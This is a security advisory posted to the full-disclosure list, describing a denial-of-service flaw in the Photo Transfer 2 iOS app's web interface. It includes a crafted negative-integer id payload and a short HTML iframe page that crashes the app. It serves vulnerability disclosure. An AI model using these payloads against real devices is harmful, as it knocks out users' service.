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List:       full-disclosure
Subject:    [FD] Photo Transfer (2) v1.0 iOS - Denial of Service Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2015-08-28 13:49:58
Message-ID: 55E06706.3090402 () vulnerability-lab ! com
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Document Title:
===============
Photo Transfer (2) v1.0 iOS - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1580


Release Date:
=============
2015-08-20


Vulnerability Laboratory ID (VL-ID):
====================================
1580


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Photo Transfer 2 is the easiest and fastest way to transfer photos (videos) from Camera Roll to computer \
or other iOS devices, and vice versa.  No need for USB cable, iTunes or extra equipment! 

(Copy of the Vendor Homepage: https://itunes.apple.com/app/id1005399058 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote denial of service vulnerability in the \
official Photo Transfer 2 - v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-07-27:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Arvin Brook
Product: Photo Transfer 2 - iOS Mobile Web Application 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A remote denial of service vulnerability has been discovered in the official Photo Transfer 2 - v1.0 iOS \
mobile web-application. The issue allows local attackers to crash or shutdown the software client by \
usage of special crafted payloads.

The vulnerability is located in the id value restriction of show module path context. Remote attacker can \
easily crash the application  remotly by including wrong and large id context in integer format. The \
attack vector is client-side and the request method to provoke  the mobile app crash is GET. The handling \
of the id path gets confused on negative integer values which results in a permanent app shutdown.

The security risk of the denial of service vulnerability is estimated as medium with a cvss (common \
vulnerability scoring system) count of 3.4.  Exploitation of the DoS vulnerability requires no privilege \
application user account or low user interaction. Successful exploitation of the  vulnerability results \
in an application crash or permanent app service shutdown.


Vulnerable Module(s):
				[+] ../show/

Vulnerable Parameter(s):
				[+] id


Proof of Concept (PoC):
=======================
The remote denial of service web vulnerability can be exploited by remote attackers without user \
interaction or privilege web-application user account. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.

Standard URL:
http://localhost:3030/show/5


PoC: Payload (Input to show Parameter)
-9999999999999999999'


PoC URL:
http://localhost:3030/show/-9999999999999999999'


PoC: Exploit
<html>
<head><body>
<title>Photo Transfer 2 - remote Denial of Service Vulnerability</title>
<iframe src=http://localhost:3030/show/-9999999999999999999'>
<iframe src=http://localhost:3030/show/-1111111111111111111'>
<iframe src=http://localhost:3030/show/-0000000000000000000'>
</body></head>
<html>


Security Risk:
==============
The security risk of the remote denial of service vulnerability in the photo transfer 2 mobile app v1.0 \
is estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab \
disclaims all warranties, either expressed  or implied, including the warranties of merchantability and \
capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable  in any case of \
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damages, even if Vulnerability-Lab  or its suppliers have been advised of the possibility of such \
damages. Some states do not allow the exclusion or limitation of liability for  consequential or \
incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to \
break any vendor licenses,  policies, deface websites, hack into databases or trade with fraud/stolen \
material.

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